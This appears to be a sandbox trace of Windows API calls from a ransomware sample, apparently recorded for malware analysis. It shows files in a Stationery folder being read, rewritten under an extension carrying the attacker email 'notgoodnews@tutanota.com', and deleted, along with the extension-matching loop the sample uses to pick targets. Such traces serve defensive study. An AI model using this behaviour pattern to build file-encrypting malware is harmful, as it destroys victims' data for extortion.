[0062.745] lstrlenW (lpString="Desktop.ini") returned 11 [0062.745] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.746] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=645) returned 1 [0062.746] CloseHandle (hObject=0x1f4) returned 1 [0062.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0062.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0062.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.746] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.746] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0066.650] GetLastError () returned 0x0 [0066.650] ReadFile (in: hFile=0x1f4, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x285, lpOverlapped=0x0) returned 1 [0066.652] WriteFile (in: hFile=0x214, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x290, lpOverlapped=0x0) returned 1 [0066.654] ReadFile (in: hFile=0x1f4, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.654] WriteFile (in: hFile=0x214, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0066.654] SetEndOfFile (hFile=0x214) returned 1 [0066.654] CloseHandle (hObject=0x214) returned 1 [0066.654] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.654] SetEndOfFile (hFile=0x1f4) returned 1 [0066.656] CloseHandle (hObject=0x1f4) returned 1 [0066.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x26) returned 1 [0066.656] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0066.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0066.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0066.657] lstrlenW (lpString=".doc") returned 4 [0066.657] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0066.657] lstrlenW (lpString=".docx") returned 5 [0066.657] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0066.657] lstrlenW (lpString=".pdf") returned 4 [0066.657] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0066.657] lstrlenW (lpString=".xls") returned 4 [0066.657] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0066.657] lstrlenW (lpString=".xlsx") returned 5 [0066.657] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0066.657] lstrlenW (lpString=".ppt") returned 4 [0066.657] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0066.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0066.657] lstrlenW (lpString=".zip") returned 4 [0066.657] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0066.657] lstrlenW (lpString=".rar") returned 4 [0066.657] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0066.658] lstrlenW (lpString=".bz2") returned 4 [0066.658] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0066.658] lstrlenW (lpString=".7z") returned 3 [0066.658] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0066.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0066.658] lstrlenW (lpString=".dbf") returned 4 [0066.658] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0066.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0066.658] lstrlenW (lpString=".1cd") returned 4 [0066.658] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0066.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0066.658] lstrlenW (lpString=".jpg") returned 4 [0066.658] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0066.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0066.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0066.658] lstrlenW (lpString=".doc") returned 4 [0066.658] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0066.659] lstrlenW (lpString=".docx") returned 5 [0066.659] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0066.659] lstrlenW (lpString=".pdf") returned 4 [0066.659] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0066.659] lstrlenW (lpString=".xls") returned 4 [0066.659] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0066.659] lstrlenW (lpString=".xlsx") returned 5 [0066.659] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0066.659] lstrlenW (lpString=".ppt") returned 4 [0066.659] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0066.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0066.659] lstrlenW (lpString=".zip") returned 4 [0066.659] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0066.659] lstrlenW (lpString=".rar") returned 4 [0066.659] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0066.659] lstrlenW (lpString=".bz2") returned 4 [0066.659] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0066.659] lstrlenW (lpString=".7z") returned 3 [0066.659] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0066.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0066.659] lstrlenW (lpString=".dbf") returned 4 [0066.659] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0066.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0066.660] lstrlenW (lpString=".1cd") returned 4 [0066.660] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0066.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0066.660] lstrlenW (lpString=".jpg") returned 4 [0066.660] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0066.660] lstrcmpiW (lpString1=".jpg", lpString2=".NEWS") returned -1 [0066.660] lstrlenW (lpString="Tanspecks.jpg") returned 13 [0066.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0066.662] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=3650) returned 1 [0066.662] CloseHandle (hObject=0x1f4) returned 1 [0066.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg")) returned 0x20 [0066.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0066.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71 [0066.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71 [0066.662] lstrlenW (lpString=".doc") returned 4 [0066.662] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0066.662] lstrlenW (lpString=".docx") returned 5 [0066.663] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0066.663] lstrlenW (lpString=".pdf") returned 4 [0066.663] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0066.663] lstrlenW (lpString=".xls") returned 4 [0066.663] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0066.663] lstrlenW (lpString=".xlsx") returned 5 [0066.663] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0066.663] lstrlenW (lpString=".ppt") returned 4 [0066.663] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0066.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71 [0066.663] lstrlenW (lpString=".zip") returned 4 [0066.663] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0066.663] lstrlenW (lpString=".rar") returned 4 [0066.663] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0066.663] lstrlenW (lpString=".bz2") returned 4 [0066.663] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0066.663] lstrlenW (lpString=".7z") returned 3 [0066.663] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0066.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71 [0066.663] lstrlenW (lpString=".dbf") returned 4 [0066.663] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0066.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71 [0066.664] lstrlenW (lpString=".1cd") returned 4 [0066.664] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0066.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71 [0066.664] lstrlenW (lpString=".jpg") returned 4 [0066.664] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0066.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71 [0066.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71 [0066.664] lstrlenW (lpString=".doc") returned 4 [0066.664] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0066.664] lstrlenW (lpString=".docx") returned 5 [0066.664] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0066.664] lstrlenW (lpString=".pdf") returned 4 [0066.664] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0066.664] lstrlenW (lpString=".xls") returned 4 [0066.664] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0066.664] lstrlenW (lpString=".xlsx") returned 5 [0066.664] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0066.664] lstrlenW (lpString=".ppt") returned 4 [0066.665] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0066.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71 [0066.665] lstrlenW (lpString=".zip") returned 4 [0066.665] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0066.665] lstrlenW (lpString=".rar") returned 4 [0066.665] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0066.665] lstrlenW (lpString=".bz2") returned 4 [0066.665] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0066.665] lstrlenW (lpString=".7z") returned 3 [0066.665] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0066.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71 [0066.665] lstrlenW (lpString=".dbf") returned 4 [0066.665] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0066.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71 [0066.665] lstrlenW (lpString=".1cd") returned 4 [0066.665] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0066.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71 [0066.665] lstrlenW (lpString=".jpg") returned 4 [0066.665] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0066.666] lstrcmpiW (lpString1=".gif", lpString2=".NEWS") returned -1 [0066.666] lstrlenW (lpString="Tiki.gif") returned 8 [0066.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0066.666] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=4638) returned 1 [0066.666] CloseHandle (hObject=0x1f4) returned 1 [0066.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif")) returned 0x20 [0066.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0066.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66 [0066.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66 [0066.667] lstrlenW (lpString=".doc") returned 4 [0066.667] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0066.667] lstrlenW (lpString=".docx") returned 5 [0066.667] lstrcmpiW (lpString1=".docx", lpString2="i.gif") returned -1 [0066.667] lstrlenW (lpString=".pdf") returned 4 [0066.667] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0066.667] lstrlenW (lpString=".xls") returned 4 [0066.667] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0066.667] lstrlenW (lpString=".xlsx") returned 5 [0066.667] lstrcmpiW (lpString1=".xlsx", lpString2="i.gif") returned -1 [0066.667] lstrlenW (lpString=".ppt") returned 4 [0066.667] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0066.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66 [0066.667] lstrlenW (lpString=".zip") returned 4 [0066.667] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0066.667] lstrlenW (lpString=".rar") returned 4 [0066.668] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0066.668] lstrlenW (lpString=".bz2") returned 4 [0066.668] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0066.668] lstrlenW (lpString=".7z") returned 3 [0066.668] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0066.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66 [0066.668] lstrlenW (lpString=".dbf") returned 4 [0066.668] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0066.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66 [0066.668] lstrlenW (lpString=".1cd") returned 4 [0066.668] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0066.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66 [0066.668] lstrlenW (lpString=".jpg") returned 4 [0066.668] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0066.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66 [0066.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66 [0066.668] lstrlenW (lpString=".doc") returned 4 [0066.668] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0066.668] lstrlenW (lpString=".docx") returned 5 [0066.668] lstrcmpiW (lpString1=".docx", lpString2="i.gif") returned -1 [0066.669] lstrlenW (lpString=".pdf") returned 4 [0066.669] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0066.669] lstrlenW (lpString=".xls") returned 4 [0066.669] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0066.669] lstrlenW (lpString=".xlsx") returned 5 [0066.669] lstrcmpiW (lpString1=".xlsx", lpString2="i.gif") returned -1 [0066.669] lstrlenW (lpString=".ppt") returned 4 [0066.669] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0066.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66 [0066.669] lstrlenW (lpString=".zip") returned 4 [0066.669] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0066.669] lstrlenW (lpString=".rar") returned 4 [0066.669] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0066.669] lstrlenW (lpString=".bz2") returned 4 [0066.669] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0066.669] lstrlenW (lpString=".7z") returned 3 [0066.669] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0066.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66 [0066.669] lstrlenW (lpString=".dbf") returned 4 [0066.669] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0066.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66 [0066.670] lstrlenW (lpString=".1cd") returned 4 [0066.670] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0066.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66 [0066.670] lstrlenW (lpString=".jpg") returned 4 [0066.670] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0066.670] lstrcmpiW (lpString1=".emf", lpString2=".NEWS") returned -1 [0066.670] lstrlenW (lpString="To_Do_List.emf") returned 14 [0066.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0066.671] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=26720) returned 1 [0066.671] CloseHandle (hObject=0x1f4) returned 1 [0066.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf")) returned 0x20 [0066.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0066.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned 72 [0066.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned 72 [0066.671] lstrlenW (lpString=".doc") returned 4 [0066.671] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0066.671] lstrlenW (lpString=".docx") returned 5 [0066.671] lstrcmpiW (lpString1=".docx", lpString2="t.emf") returned -1 [0066.671] lstrlenW (lpString=".pdf") returned 4 [0066.671] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0066.671] lstrlenW (lpString=".xls") returned 4 [0066.671] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0066.671] lstrlenW (lpString=".xlsx") returned 5 [0066.672] lstrcmpiW (lpString1=".xlsx", lpString2="t.emf") returned -1 [0066.672] lstrlenW (lpString=".ppt") returned 4 [0066.672] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0066.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned 72 [0066.672] lstrlenW (lpString=".zip") returned 4 [0066.672] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0066.672] lstrlenW (lpString=".rar") returned 4 [0066.672] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0066.672] lstrlenW (lpString=".bz2") returned 4 [0066.672] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0066.672] lstrlenW (lpString=".7z") returned 3 [0066.672] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0066.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned 72 [0066.672] lstrlenW (lpString=".dbf") returned 4 [0066.672] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0066.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned 72 [0066.672] lstrlenW (lpString=".1cd") returned 4 [0066.672] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0066.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned 72 [0066.672] lstrlenW (lpString=".jpg") returned 4 [0066.672] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0066.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned 72 [0066.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned 72 [0066.673] lstrlenW (lpString=".doc") returned 4 [0066.673] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0066.673] lstrlenW (lpString=".docx") returned 5 [0066.673] lstrcmpiW (lpString1=".docx", lpString2="t.emf") returned -1 [0066.673] lstrlenW (lpString=".pdf") returned 4 [0066.673] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0066.673] lstrlenW (lpString=".xls") returned 4 [0066.673] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0066.673] lstrlenW (lpString=".xlsx") returned 5 [0066.673] lstrcmpiW (lpString1=".xlsx", lpString2="t.emf") returned -1 [0066.673] lstrlenW (lpString=".ppt") returned 4 [0066.673] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0066.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned 72 [0066.674] lstrlenW (lpString=".zip") returned 4 [0066.674] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0066.674] lstrlenW (lpString=".rar") returned 4 [0066.674] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0066.674] lstrlenW (lpString=".bz2") returned 4 [0066.674] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0066.674] lstrlenW (lpString=".7z") returned 3 [0066.674] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0066.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned 72 [0066.674] lstrlenW (lpString=".dbf") returned 4 [0066.674] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0066.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned 72 [0066.674] lstrlenW (lpString=".1cd") returned 4 [0066.674] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0066.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned 72 [0066.674] lstrlenW (lpString=".jpg") returned 4 [0066.674] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0066.675] lstrcmpiW (lpString1=".jpg", lpString2=".NEWS") returned -1 [0066.675] lstrlenW (lpString="White_Chocolate.jpg") returned 19 [0066.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0066.676] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=3168) returned 1 